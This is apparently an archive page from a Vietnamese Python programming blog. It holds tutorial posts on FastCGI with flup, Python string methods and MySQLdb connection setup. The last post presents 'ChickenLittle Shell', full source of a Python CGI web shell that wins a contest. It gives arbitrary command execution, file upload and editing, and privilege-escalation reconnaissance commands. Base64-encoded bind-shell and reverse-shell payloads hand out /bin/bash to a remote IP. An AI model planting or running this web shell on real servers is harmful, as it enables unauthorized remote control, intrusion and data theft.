		req.stdout.write('Hello World %d' % count)

if __name__ == "__main__":
	HelloApp(application=None, bindAddress=("localhost", 8888)).run()

Trước hết, chúng ta nhập mô-đun flup.server.fcgi. Kế tiếp chúng ta khai báo một biến đếm tên count với giá trị khởi tạo là 0. Sau đó chúng ta khai báo ứng dụng của chúng ta bằng cách định nghĩa lớp HelloApp kế thừa lớp WSGIServer trong mô-đun flup.server.fcgi. HelloApp sẽ định nghĩa lại hàm handler để xử lý các yêu cầu nhận được.

Hàm handler nhận vào một tham số đó là đối tượng req chứa thông tin về các biến môi trường, các dòng dữ liệu chuẩn như stdin, stdout. Chúng ta sẽ cộng một vào biến đếm toàn cục, và xuất giá trị này ra lại cho trình duyệt. Như một ứng dụng CGI (FCGI) thông thường, trước hết chúng ta cần phải xác định kiểu dữ liệu trả về thông qua Content-Type, theo sau bởi một dòng trống đánh dấu sự chấm dứt các đầu đề (header) và bắt đầu của nội dung, và cuối cùng là nội dung.

Hai dòng lệnh cuối chỉ đơn giản là chạy ứng dụng FCGI này ở địa chỉ localhost và cổng 8888.

Để kiểm tra, chúng ta sẽ cần thực hiện ba việc: chạy ứng dụng hello.py, chạy Apache, và dùng trình duyệt xem trang http://localhost/fcgi-bin/hello.py**. Để chạy ứng dụng hello.py chúng ta chỉ cần nhập lệnh sau ở màn hình DOS:

c:\Program Files\Apache Software Foundation\Apache2.2\fcgi-bin>python hello.py

Khi dùng trình duyệt vào xem trang web như trên thì chúng ta sẽ nhận được hình sau:

hello1.png

Nếu làm tươi trình duyệt thì chúng ta sẽ thấy giá trị đếm tăng lên:

hello2.png

Như vậy chứng tỏ rằng các yêu cầu đều được phục vụ bởi một tiến trình duy nhất. Đây chính là lợi điểm của FCGI so với CGI.

Trong bài sau, chúng ta sẽ xem xét cách phát triển ứng dụng web với WSGI.

Lập trình web với Python (5)

written by Nguyễn Thành Nam, on Mar 24, 2011 5:39:00 PM.

Bẵng một thời gian, chúng ta lại quay lại với loạt bài Lập trình web với Python. Trong kỳ này, chúng ta sẽ bàn đến mô hình FastCGI (FCGI).

Cái tên FCGI khiến người ta liên tưởng đến mô hình CGI như đã trình bày trong kỳ trước. Nhưng, thật tế là FCGI là một mô hình rất khác so với CGI.

Các ứng dụng FCGI là các ứng dụng bền, tức là một tiến trình FCGI có thể phục vụ nhiều yêu cầu chứ không phải chỉ một yêu cầu như ứng dụng CGI. Do đó, các ứng dụng FCGI có thể sử dụng các biến có phạm vi ứng dụng (application-scoped variable, tương đương với các biến toàn cục, global variable), tồn tại qua nhiều yêu cầu.

Xét ví dụ một chương trình web hiển thị số lần truy cập vào trang.

  • Với mô hình CGI, khi có yêu cầu gửi đến, máy chủ web (web server, httpd) sẽ tạo một tiến trình khác, chạy chương trình CGI, chương trình này khởi tạo biến đếm với giá trị 0, tăng nó lên 1, và hiển thị số 1 rồi tiến trình kết thúc. Khi có yêu cầu thứ hai đến, máy chủ lại tạo một tiến trình khác, chạy chương trình CGI, chương trình này khởi tạo biến đếm với giá trị 0, tăng nó lên 1, và hiển thị số 1, và kết thúc tiến trình. Như vậy, vì mỗi yêu cầu được một tiến trình riêng phục vụ nên chúng ta sẽ cần phải lưu biến đếm vào một tài nguyên ngoài (ví dụ như tập tin, hoặc cơ sở dữ liệu), và các tiến trình truy cập vào cùng tài nguyên này.
  • Với mô hình FCGI, một tiến trình FCGI sẽ được chạy trước. Chương trình này được gọi là một FCGI server. Chương trình này khởi tạo biến đếm với giá trị 0 và bước vào một vòng lập vô tận để nhận yêu cầu. Trình duyệt gửi yêu cầu đến máy chủ web. Khi này máy chủ web sẽ chuyển yêu cầu này đến ứng dụng FCGI đã được chạy trước đó. Như vậy, máy chủ web đóng vai trò là một FCGI client. Ở phía FCGI server, yêu cầu được chấp nhận (accept), biến đếm được tăng lên thành 1, kết quả trả về lại cho httpd, và FCGI server quay lại vòng lập nhận yêu cầu. Máy chủ web trả lại kết quả cho trình duyệt. Khi có yêu cầu kế tiếp, máy chủ httpd lại chuyển yêu cầu đó cho cùng FCGI server. Yêu cầu này được chấp nhận, biến đếm được tăng thành 2 vì đang trong cùng một tiến trình, kết quả trả về lại cho httpd và tiếp tục như đã bàn.

Vì mô hình hoạt động của FCGI khác với CGI nên việc trao đổi giữa FCGI client và FCGI server (giữa httpd và ứng dụng FCGI) không thể sử dụng cùng một giao thức đơn giản như ứng dụng CGI nữa. Việc này đòi hỏi một giao thức riêng cho FCGI.

Mô hình hoạt động đơn giản của FCGI được miêu tả trong hình dưới.

/static/web-programming/fcgi/overview_lifecycle.png

Ngoài lợi ích về tốc độ (do không phải tạo tiến trình mới để phục vụ mỗi yêu cầu, và khả năng chia sẻ tài nguyên thông qua biến có phạm vi ứng dụng), các ứng dụng FCGI còn có thể được triển khai trên hệ thống khác với hệ thống máy chủ web, giúp cho việc phân bổ tài nguyên giữa httpd và FCGI server được hiệu quả hơn. FCGI hỗ trợ hai cách giao tiếp là thông qua stream pipe, và thông qua socket. Cách giao tiếp stream pipe tương tự như việc gửi và nhận dữ liệu qua stdin, và stdout. Cách giao tiếp này được sử dụng cho các ứng dụng FCGI triển khai trên cùng hệ thống với httpd. Cách giao tiếp socket sử dụng một kết nối TCP để đóng gói và gửi dữ liệu của env-vars, stdin, stdout, và stderr tới ứng dụng FCGI. Điều này cho phép ứng dụng FCGI được triển khai trên một hệ thống khác, và httpd sẽ liên lạc với ứng dụng này dựa vào kết nối mạng TCP. Do đó, việc tối ưu tài nguyên hệ thống có thể được thực hiện dễ dàng hơn so với ứng dụng CGI. Đối với ứng dụng FCGI, FCGI server có thể được chạy trong chế độ đa tiến trình, hoặc đa tiểu trình đều được. FCGI server có thể được chạy trên một máy 8 lõi, trong khi httpd chạy trên một máy khác đơn nhân. FCGI server phục vụ các dữ liệu động, trong khi httpd phục vụ các dữ liệu tĩnh như hình ảnh, trang web tĩnh.

Chúng ta vừa xem qua mô hình hoạt động của FCGI. Đi sâu hơn vào cấu trúc từng ứng dụng FCGI thì dúng ta có ba phần chính sau:

  • Mã khởi tạo
  • Vòng lặp nhận yêu cầu
  • Xử lý yêu cầu và trả kết quả

Trong ví dụ về ứng dụng hiển thị số lượt truy cập, mã khởi tạo là việc khởi tạo biến đếm toàn cụ với giá trị 0.

Vòng lặp nhận yêu cầu thường là một vòng lặp vô hạn, tương tự như:

while True:
    fcgi_accept()
    # xử lý yêu cầu như CGI

Trong khi yêu cầu được chấp nhận, thì dữ liệu nhập cũng được tách ra thành env-vars, stdin, stdout, và stderr. Điều này khiến cho việc xử lý yêu cầu của một ứng dụng FCGI không khác bao nhiêu so với việc xử lý của một ứng dụng CGI. Tất cả đều được thực hiện trên các biến môi trường, và các luồng chuẩn. Điều khác biệt đó là sau khi xử lý xong yêu cầu thì ứng dụng FCGI lại quay lại vòng lặp nhận yêu cầu mà không chấm dứt tiến trình như một ứng dụng CGI.

Vì không phải chấm dứt tiến trình sau mỗi yêu cầu nên các tiến trình FCGI có thể được “sử dụng lại”. Một ứng dụng FCGI có thể được khởi tạo trước, với 10 tiến trình chẳng hạn, và đặt trong một bể (pool) tiến trình sẵn sàng. Khi có yêu cầu đến, thì máy chủ web có thể ngay lập tức lấy ra một tiến trình từ bể này, và gửi thông tin đến nó. Khi kết thúc xử lý yêu cầu, máy chủ web lại đưa tiến trình này vào bể. Việc khởi tạo trước tiết kiệm được thời gian khởi tạo ban đầu, nhưng sẽ chiếm bộ nhớ, ngay cả khi chưa có yêu cầu nào được nhận.

Sau đây là mô hình chi tiết của một ứng dụng FCGI.

/static/web-programming/fcgi/detailed_lifecycle.png

Hẹn gặp các bạn vào bài tới. Chúng ta sẽ viết thử một ứng dụng FCGI đơn giản với mô-đun fcgi của Allan Saddi.

Làm việc với String (Python 3)

written by vithon, on Feb 9, 2011 11:46:00 AM.

So sánh cơ bản:

>>> A="caulacbopython"
>>> B="pythonviet"
>>> print(A==B)
False
>>> print(A>B)
False
>>> print(A<B)
True

Ghép chuỗi:

>>> A="Yeu"
>>> B="Python"
>>> A+B
'YeuPython'

Split: Hiểu nôm na, ta có một cái chuỗi dài. Giờ ta sẽ cắt nó thành nhiều khúc dài dài và sử dụng khúc nào đó thì tùy:

>>> A="Cau-Lac-Bo-Python-Viet"
>>> B=A.split('-')
>>> B
['Cau', 'Lac', 'Bo', 'Python', 'Viet']
>>> B[0]
'Cau'
>>> B[1]
'Lac'
>>> B[2]
'Bo'

Lấy 1 ký tự bất kì:

>>> chuoi= "NguyenMinhThe"
>>> print(chuoi[2])
u
>>> print(chuoi[1])
g

Thay thế (Replace):

>>> chuoi="MinhThe"
>>> print(chuoi.replace('h','H'))
>>> 'MinHTHe'

Đếm số lần xuất hiện ký tự trong 1 chuỗi:

>>> ch="VithonViet"
>>> print(ch.count('V'))
2

Trích từ bài gửi diễn đàn của Nguyễn Minh Thế.

MySQLdb - Thiết lập kết nối

written by Phạm Thị Minh Hoài, on May 31, 2010 11:55:00 PM.

MySQLdb là một wrapper của thư viện MySQL C API: _mysql. Nó cho phép bạn viết các ứng dụng python khả chuyển (portable) chạy trên nhiều môi trường khác nhau để truy cập vào máy chủ có hệ quản trị CSDL mysql.

Bài viết sau đây đề cập một số khía cạnh liên quan tới thiết lập kết nối CSDL. Đó là vấn đề quan trọng đầu tiên khi làm việc với bất kỳ hệ quản trị CSDL nào.

Bản cài đặt MySQLdb có thể download trên trang: http://sourceforge.net/projects/mysql-python/. Download có sẵn cho các nền tảng windows 32 bit và các họ unix. Đáng tiếc là MySQLdb hiện chỉ sử dụng cho các phiên bản python từ 2.3 đến 2.6.

Hello World

Giả thiết trên máy của bạn đã cái mysql với cổng mặc định (3306) và account root không cần password. Đoạn chương trình sau minh họa một kết nối đơn giản nhất có thể. Nó in ra các db có trong CSDL này:

>>> db = MySQLdb.connect(user="root")
>>> cursor = db.cursor()
>>> query = "SHOW DATABASES"
>>> cursor.execute(query)
6L
>>> cursor.fetchall()
(('information_schema',), ('cdcol',), ('mysql',), ('phpmyadmin',), ('test',))

Kết nối theo IP

Truy cập từ xa đến một hệ thống phức tạp hơn, bạn cần biết các tham số:

  • Máy chủ chứa mysql (mặc định: localhost hay 127.0.0.1)
  • Cổng truy cập vào mysql (mặc định: 3306)
  • User, Password mà bạn được cấp
  • Tên CSDL bạn muốn truy cập

Ví dụ sau in ra các bảng của CSDL mydb trên máy 192.168.90.31 với cổng 3310:

>>> db = MySQLdb.connect(user="you", db="mydb", passwd="mypw", \
        host="192.168.90.31", port=3310)
>>> cursor = db.cursor()
>>> query = "SHOW TABLES"
>>> cursor.execute(query)
>>> cursor.fetchall()

Kết nối theo socket

Trên các localhost cho phép dùng socket bạn có thể viết:

db = MySQLdb.connect(db="test", user="hoaiptm", passwd="hoaiptm", \
    unix_socket="/opt/hoaiptm/mysql/mysql.sock")

Truy cập mysql qua các socket trên unix tương tự như named pipe trên windows. Nó cho phép các ứng dựng localhost tạo các kết nối cực kỳ nhanh đến CSDL. Nếu bạn chưa hiểu rõ về socket bạn có thể đọc: http://beej.us/guide/bgipc/output/html/multipage/unixsock.html.

Giấu password

Các ví dụ trên đây đều yêu cầu phải có password đặt trong mã nguồn python. MySQLdb cho phép bạn giấu chúng trong một nơi mà chỉ bạn được phép truy cập:

db = MySQLdb.connect(db="yourdb", read_default_file="/home/hoaiptm/mysql.ini")

tập tin options: /home/hoaiptm/mysql.ini có thể có nội dung như sau:

[client]
port=3310
socket=/opt/hoaiptm/mysql/mysql.sock
user=hoaiptm
password=hoaiptm

Hướng dẫn về các option này có thể đọc trong tài liệu: http://www.yellis.net/docs/mysql/manuel_Option_files.html#Option_files

Thay đổi charset mặc định

Các kết nối trong các ví dụ trên sử dụng charset mặt định là latin1, do đó bạn không lấy được các dữ liệu tiếng Việt. Chẳng hạn bạn tạo một bảng user với chartset utf8 trong CSDL test như sau:

USE `test`;
CREATE TABLE `user` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `account` varchar(50) DEFAULT NULL,
  `fullname` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 **DEFAULT CHARSET=utf8** ROW_FORMAT=DYNAMIC;
INSERT INTO `user` VALUES (1,'hoaiptm','Phạm Thị Minh Hoài');
INSERT INTO `user` VALUES (2,'trangnt','Ngô Thu Trang');

Sau đó cố gắng lấy dữ liệu từ bảng user:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", port=3310)
>>> cursor = db.cursor()
>>> query = "SELECT fullname FROM user"
>>> cursor.execute(query)
2L
>>> cursor.fetchall()
(('Ph?m Th? Minh Ho\xe0i',), ('Ng\xf4 Thu Trang',))

Các dấu ? cho thấy các ký tự utf8 đã không được truyền tải đúng. Để giải quyết vấn đề này chúng ta thêm tùy chọn charset = “utf8” trong connection:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", \
    port=3310, charset="utf8")
...
>>> cursor.fetchall()
((u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i',), (u'Ng\xf4 Thu Trang',))

Lúc này tất cả các dữ liệu trong trường text, char, varchar đều được trả về dạng unicode.

Yêu cầu trả về từ điển

MySQLdb cho phép trả về các kết quả dạng từ điển, để làm được điều đó bạn thêm tùy chọn cursorclass=MySQLdb.cursors.DictCursor. Ví dụ:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", port=3310, \
    charset="utf8", cursorclass=MySQLdb.cursors.DictCursor)
>>> cursor = db.cursor()
>>> query = "select * from user"
>>> cursor.execute(query)
2L
>>> cursor.fetchall()
({'account': u'hoaiptm', 'fullname': u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i', 'Id': 1L}, \
 {'account': u'trangnt', 'fullname': u'Ng\xf4 Thu Trang', 'Id': 2L})

Chương trình sẽ chạy chậm đi chút xíu, nhưng bù lại kết quả trả về rất dễ sử dụng.

Hoaiptm

ChickenLittle Shell

written by vithon, on May 19, 2010 1:41:00 PM.

Nhân dịp kỷ niệm 120 năm ngày sinh lãnh tụ Hồ Chí Minh, nhóm PCNV xin gửi đến bạn đọc bài dự thi đạt giải nhất cuộc thi Web Shell Programming Contest kết thúc vào ngày 15 tháng 05 vừa qua.

#!/usr/bin/python
"""
ChickenLittle Shell by Zep
"""

try:
    import cgitb; cgitb.enable()
except:
    pass
import sys, cgi, os, base64, subprocess
from time import strftime
from string import Template

bind_port = """aW1wb3J0IG9zLCBzeXMsIHNvY2tldCwgdGltZQpQT1JUID0gaW50KHN5cy5hcmd2WzFdKQpQVyA9
IHN5cy5hcmd2WzJdCnNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5T
T0NLX1NUUkVBTSkKc29jay5iaW5kKCgiMC4wLjAuMCIsUE9SVCkpCnNvY2subGlzdGVuKDUpClNI
RUxMPSIvYmluL2Jhc2ggLWkiCndoaWxlIFRydWU6CiAgICB0cnk6CQogICAgICAgIChjb25uLGFk
ZHIpID0gc29jay5hY2NlcHQoKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwwKQogICAg
ICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwxKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8o
KSwyKQogICAgICAgIHByaW50ID4+IHN5cy5zdGRlcnIsICdQYXNzd29yZDogJywKICAgICAgICBw
ID0gY29ubi5yZWN2KDEwMjQpCiAgICAgICAgcCA9IHAuc3RyaXAoKQogICAgICAgIGlmIHAgPT0g
UFc6CiAgICAgICAgICAgIG9zLnN5c3RlbSgiL2Jpbi9iYXNoIC1pIikKICAgICAgICBlbHNlOgog
ICAgICAgICAgICBwcmludCA+PiBzeXMuc3RkZXJyLCAiR28gdG8gaGVsbCIKICAgICAgICBjb25u
LmNsb3NlKCkKICAgIGV4Y2VwdCBFeGNlcHRpb24sZTogIAogICAgICAgIHByaW50IGUKICAgICAg
ICB0aW1lLnNsZWVwKDEpCg=="""

back_connect = """aW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMu
YXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2Nr
ZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkK
dHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgb3MuZHVwMihzb2NrLmZpbGVu
bygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgb3Muc3lzdGVtKFNIRUxM
KQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2suY2xvc2UoKQo="""

# HTML

html = Template("""
<html>
<head>
    <title>ChickenLittle Shell</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 
    <style>
        body {
            color:#fff;
            background-color:#585858;
            font-size:11px;
        }
        table {
            font-family: Verdana, Tahoma;
            font-size:11px;
        }
        tr {
            border: #D9D9D9 1px solid;
        }
        td {
            border: #D9D9D9 1px solid;
        }
        a { 
            color: #fff;
        }
        input {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        select {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        textarea {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
    </style>
</head>
<body>
    <script type="text/javascript">
        function toggleEnviron()
        {
            if (document.getElementById('environ_table').style.display=="none")
                document.getElementById('environ_table').style.display="";
            else
                document.getElementById('environ_table').style.display="none";
        }
    </script>
    <center><h2>=== ChickenLittle Shell ===</h2></center>
    <a href="javascript:void(0)" onclick="javascript:toggleEnviron()">Show/Hide Environment variables</a>
    $environ_table
    <p />
    <table width="100%">
        <tr><td>
            uname -a: $uname <br />
            $uid
        </td></tr>
    </table>
    <p />
    <div style="display:$edit_file_box_visibility">
        <b>Edit File:</b> <br />
        <form method="POST" action="?">
            <textarea name="file_content" cols="200" rows="30" >$file_content</textarea>
            <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /> <br />
            <input type="hidden" value="save_file" size="50" name="command" /> <br />
            <input type="hidden" value="$file_name" size="50" name="file_name" /> <br />
            <input type="submit" value="Save">       
        </form>
        <p />
    </div>
    <table width="100%">
        <tr>    
            <td style="text-align:center">
                <b>:: Change Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Get File ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td colspan="2" style="text-align:center"><b>$cur_dir</b></td>
        </tr>
        <tr>
            <td><pre>$list_files</pre></td>
        </tr>
    </table>
    <p />
    <b>Result of command</b><br />
    <table width="100%">
        <tr>
            <td>
                <textarea cols="200" rows="10">$command_result</textarea>
            </td>
        </tr>
    </table>
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Execute Command ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="text" value="" size="50" name="command">&nbsp;<input type="submit" value="Execute">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Useful Commands ::</b><br />
                <form action="?" method="POST">
                    <select name="command">
                        <option value="uname -a">Kernel version</option>
                        <option value="w">Logged in users</option>
                        <option value="lastlog">Last to connect</option>
                        <option value="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option>
                        <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option>
                        <option value="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option>
                        <option value="which wget curl w3m lynx">Downloaders?</option>
                        <option value="cat /proc/version /proc/cpuinfo">CPUINFO</option>
                        <option value="netstat -atup | grep IST">Open ports</option>
                        <option value="locate gcc">gcc installed?</option>
                    </select>
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="submit" value="Go" />
                </form>
            </td>
        </tr>
    </table>    
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Create Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="new_dir">&nbsp;<input type="submit" value="Create">
                    <input type="hidden" value="mkdir" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Upload File ::</b><br />
                <form action="?" method="POST" enctype="multipart/form-data">
                    <input type="file" name="file">&nbsp;<input type="submit" value="Upload">
                    <input type="hidden" value="upload" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Search Text in Files ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Text: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="search_text" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Directory: </td>
                            <td style="border:none"><input type="text" value="$cur_dir" size="30" name="search_dir" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Include File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="include_pattern" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Exclude File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="exclude_pattern" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Search">
                    <input type="hidden" value="search_text" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center;vertical-align:top">
                <b>:: Edit File ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="hidden" value="edit_file" size="50" name="command">
                    <input type="text" value="$cur_dir" size="50" name="file_name">
                    &nbsp;<input type="submit" value="Edit">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Bind port to /bin/bash ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Password: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="password" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Bind">
                    <input type="hidden" value="bind_port" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center" width="50%">
                <b>:: back-connect ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">IP: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="ip" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Connect">
                    <input type="hidden" value="back_connect" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td style="text-align:center"><b>(.)(.) [ChickenLittle Shell by Zep] (.)(.)</b></td>
        </tr>
    </table>
</body>
</html>
""")

scriptname = ""

if os.environ.has_key("SCRIPT_NAME"):
    scriptname = os.environ["SCRIPT_NAME"]

def get_environ_table():
    s = "<table style=\"display:none\" id=\"environ_table\">"
    for k in os.environ:
        s+="<tr><td>%s</td><td>%s</td></tr>"%(k,os.environ[k])
    s+="</table>"
    return s

def run_command(command):
    p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
    (i,o) = p.stdin,p.stdout
    return o.read()

def get_param(form, param,default=None):
    if form.has_key(param):
        return form.getvalue(param)
    return default

def can_write(file_name):
    try:
        f = open(file_name,"w")
        f.close()
        return True
    except:
        return False

def put_script(base_name,encoded_script):
    script = base64.b64decode(encoded_script)
    i = 0
    file_name = "/tmp/"+base_name + str(i)  
    while not can_write(file_name):
        i+=1
        file_name = "/tmp/"+base_name + str(i)  
    
    f = open(file_name,"w")
    f.write(script)
    f.close()
    return file_name

def main():

    print "Content-type: text/html"         # header
    print                                   # blank line

    form = cgi.FieldStorage()
    uname = run_command("uname -a")
    uid = run_command("id")

    cur_dir = get_param(form, "cur_dir",os.getcwd())

    if not os.path.exists(cur_dir):
        cur_dir = os.getcwd()
    os.chdir(cur_dir)
    command = get_param(form,"command")
    command_result = ""

    file_content = ""
    file_name = ""
    edit_file_box_visibility = "None"

    if command == "mkdir":
        new_dir = get_param(form,"new_dir")
        command_result = run_command("mkdir " + new_dir)	
    elif command == "upload":
        upload_file = form["file"]
        try:
            f  = open(upload_file.filename,"w")
            while True:
                chunk = upload_file.file.read(1024)
                if not chunk: break
                f.write(chunk)
            f.close()
        except Exception,e:
            command_result = str(e)

    elif command == "search_text":
        search_text = get_param(form,"search_text","")
        search_dir = get_param(form,"search_dir",".")
        include_pattern = get_param(form,"include_pattern")
        exclude_pattern = get_param(form,"exclude_pattern")
        cmd = "grep -ir \"%s\" %s " % (search_text,search_dir)
        if include_pattern:
            cmd += "--include=%s " % include_pattern
        if exclude_pattern:
            cmd += "--include=%s " % exclude_pattern
        command_result = run_command(cmd)

    elif command == "edit_file":
        file_name = get_param(form,"file_name")
        try:
            f = open(file_name,"r")
            file_content = f.read()
            f.close()
            edit_file_box_visibility = ""            
        except:
            command_result = "Cannot open file"
            file_content = ""
            edit_file_box_visibility = "None"

    elif command == "save_file":
        file_name = get_param(form,"file_name")
        file_content = get_param(form,"file_content")
        try:
            f = open(file_name,"w")
            f.write(file_content)
            f.close()
            command_result = "Successful"
        except:
            command_result = "Cannot write to file"
                
    elif command == "bind_port":
        port = get_param(form,"port")
        password = get_param(form,"password")
        file_name = put_script("bp",bind_port)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,port,password)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command == "back_connect":
        port = get_param(form,"port")
        ip = get_param(form,"ip")
        file_name = put_script("bc",back_connect)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,ip,port)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command != None:
        command_result = run_command(command)

    list_files = run_command("ls -alh " + cur_dir)

    print html.substitute(environ_table=get_environ_table(),
                          uname = uname,
                          uid = uid,
                          list_files = list_files,
                          cur_dir = cur_dir,
                          command_result = command_result,
                          file_content = file_content,
                          file_name    = file_name,
                          edit_file_box_visibility = edit_file_box_visibility
                            )

if __name__ == '__main__':
    main()